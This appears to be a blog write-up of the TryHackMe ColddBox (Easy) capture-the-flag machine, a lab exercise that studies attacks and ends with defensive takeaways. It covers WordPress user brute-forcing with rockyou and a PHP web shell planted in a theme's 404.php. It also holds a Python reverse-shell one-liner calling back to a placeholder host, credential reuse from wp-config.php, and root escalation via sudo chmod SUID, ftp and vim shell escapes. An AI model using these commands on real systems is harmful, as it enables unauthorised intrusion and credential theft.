Post

ColddBox (Easy) | TryHackMe

ColddBox (Easy) | TryHackMe

This write-up documents the full compromise of the ColdBox machine, a beginner-friendly Linux box that demonstrates how outdated web software, weak credentials, and overly permissive sudo rules can lead to full system compromise.

The attack path follows a clean and realistic flow:

Reconnaissance → Web Exploitation → Initial Shell → Credential Reuse → Privilege Escalation → Root


Initial Reconnaissance

As always, I started with a full TCP port scan. On CTF-style machines, this is usually the most reliable way to understand what you are dealing with before touching any service.

1
sudo nmap -sCV 10.81.178.207 --min-rate 1000 -p- -Pn -oA scan

sub

From the scan results, two things immediately stood out:

  • Port 80 — HTTP (Apache)
  • Port 4512 — SSH (non-standard port)

Seeing SSH on a high port often suggests:

  • Intentional obfuscation
  • Or simply a misconfiguration

Either way, it’s worth noting for later.

At this point, I deliberately did not try SSH. Without credentials, that would be noise. Instead, I focused on the web server.


Web Enumeration — First Impressions Matter

Visiting the web server on port 80 revealed a WordPress instance.

sub

WordPress changes the direction of enumeration immediately. Instead of blind directory brute-forcing, it makes more sense to:

  • Identify the version
  • Enumerate users
  • Look for weak credentials or known vulnerabilities

One thing that caught my eye early was how dated the UI looked. That raised suspicion that the WordPress version might be old.


Version & Vulnerability Enumeration

Because this was WordPress, I reached for wpscan.

1
wpscan --url http://10.81.178.207/ --api-token <API_TOKEN>

sub

The result confirmed my suspicion:

  • WordPress 4.1.31
  • A large number of known vulnerabilities

At this stage, it was tempting to jump straight into CVEs.
However, from experience, old WordPress boxes often fall due to weak credentials rather than complex exploits.

So instead of diving into exploit development, I pivoted.


User Enumeration

I decided to enumerate WordPress users.

1
wpscan --url http://10.81.178.207/ --enumerate u

sub

Three valid users were identified:

  • c0ldd
  • hugo
  • philip

At this point, I had a decision to make:

  • Chase vulnerabilities
  • Or test whether any of these accounts were poorly secured

Given how old the WordPress version was, weak passwords felt very likely.


Credential Attack

I attempted a password attack using rockyou.txt.

1
wpscan --url http://10.81.178.207 -U c0ldd,hugo,philip -P /usr/share/wordlists/rockyou.txt

sub

This paid off quickly.

The user c0ldd had a valid password.

This was a critical moment:

  • I now had authenticated access
  • No exploits required
  • No noisy payloads

From Admin Panel to Code Execution

With admin credentials, WordPress becomes dangerous.

Rather than uploading plugins (which are often monitored), I used a low-noise technique:

  • Editing the 404.php file of an inactive theme

This approach works because:

  • WordPress executes PHP in theme files
  • Inactive themes still live on disk
  • 404 pages are easy to trigger

The payload used was intentionally simple:

1
<?php system($_GET['0']); ?>

Steps taken:

  • Login → Appearance → Theme Editor
  • Select inactive theme
  • Modify 404.php
  • Save

sub


Testing Execution

I navigated directly to the modified page:

1
http://10.81.178.207/wp-content/themes/twentythirteen/404.php?0=whoami

sub

Seeing command output confirmed remote command execution.


Upgrading to a Reverse Shell

Command execution is useful, but not comfortable.

I opted for a Python reverse shell:

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

i setup a Listener before running the payload:

1
nc -lvnp 5555

The callback landed successfully.

sub

I now had a shell as www-data.


Local Enumeration — Thinking Like an Admin

With shell access, I slowed down again.

WordPress shells often leak credentials, so the first file I checked was:

1
cat wp-config.php

sub

The database credentials stood out — especially because the username looked familiar.


Credential Reuse

Listing system users revealed a matching account:

sub

I tested a simple hypothesis:

What if the WordPress admin c0lddreused their system password as the MySQL password?

1
su - c0ldd

sub

It worked.

At this point:

  • I had a real user shell
  • SSH was open
  • Stability was an option

Stable Access via SSH

1
ssh c0ldd@10.81.178.207 -p 4512

sub

This provided a clean, persistent shell.


Privilege Escalation Enumeration

Checking sudo permissions is always a priority:

1
sudo -l

sub

The output revealed three binaries runnable as root:

  • /bin/chmod
  • /usr/bin/ftp
  • /usr/bin/vim

At this point, escalation was inevitable. All three were runnable as root.

At first glance, none of these look like obvious “root shell” binaries — but that’s exactly why they’re dangerous. These are trusted admin tools, and when misconfigured in sudoers, they can often be abused in unintended ways.

Rather than picking one immediately, I took a moment to understand what each binary is capable of, and how that capability changes when it runs as root.


PrivEsc Path 1 — chmod Abuse

Why chmod is dangerous here

chmod is used to change file permissions. Normally, that’s harmless — but when run as root, it can modify any file on the system.

This opens the door to one of the oldest and most reliable Linux privilege-escalation techniques: SUID abuse.

Quick refresher: what is SUID?

The SUID (Set User ID) bit tells Linux:

“When this file is executed, run it with the permissions of the file owner — not the user executing it.”

If:

  • The file owner is root

  • And the SUID bit is set then any user who runs that file gets root privileges.

Turning /bin/bash into a root shell

Because /bin/bash is owned by root, all I needed to do was set the SUID bit:

1
sudo /bin/chmod +s /bin/bash

At this point:

  • /bin/bash now runs as root

  • Even when launched by a normal user

To activate it safely, I used:

1
bash -p

The -p flag tells bash to preserve elevated privileges instead of dropping them.

At that moment, I had a root shell.

sub

Why this works and why it’s bad

This works because:

  • chmod was allowed via sudo

  • No restrictions were placed on which files it could modify

  • SUID mechanics are enforced by the kernel

This single misconfiguration is effectively game over.


PrivEsc Path 2 — ftp

After rooting the box via chmod, I still explored the other options — not because I needed them, but because understanding multiple paths matters.

Why look at ftp?

ftp doesn’t sound dangerous at first — it’s just a file transfer client.

But many Unix tools support shell escapes, and when those tools run as root, those escapes become root shells.

This is where GTFOBins becomes invaluable.

Reference: here

Exploiting ftp

Running ftp as root:

1
sudo /usr/bin/ftp

Inside the ftp prompt, the ! character allows execution of local shell commands.

So:

1
ftp> !/bin/bash

This immediately drops us into a root shell.

sub

Why this works

  • ftp trusts the user

  • sudo elevates ftp to root

  • Shell escapes are not restricted

  • The spawned shell inherits root privileges

This is a textbook example of why allowing interactive programs in sudoers is extremely dangerous.


PrivEsc Path 3 — vim

Reference: here

Why vim is risky

vim isn’t just a text editor — it’s effectively a scripting environment.

It allows:

  • Command execution

  • Shell spawning

  • File reads/writes

When run as root, all of those actions inherit root privileges.

Exploiting vim

This one-liner launches vim and immediately executes a shell:

1
sudo /usr/bin/vim -c ':!/bin/bash'

As soon as vim starts, it runs !/bin/bash, spawning a root shell.

sub

Why this works

  • vim supports :! shell execution

  • sudo elevates vim itself

  • The shell inherits root privileges

This is why vim, less, nano, awk, perl, and similar tools should almost never appear in sudo -l output without restrictions.


Final Thoughts

This box was less about exotic exploits and more about realistic failures:

  • Weak passwords
  • Credential reuse
  • Excessive sudo permissions
  • Old, unpatched software

Every step reinforced the same lesson:

Small mistakes compound into full system compromise.


Key Takeaways

  1. Don’t rush exploitation
  2. Old software often fails due to people, not exploits
  3. WordPress admin access is usually game over
  4. Always check sudo -l
  5. GTFOBins remains invaluable

This post is licensed under CC BY 4.0 by the author.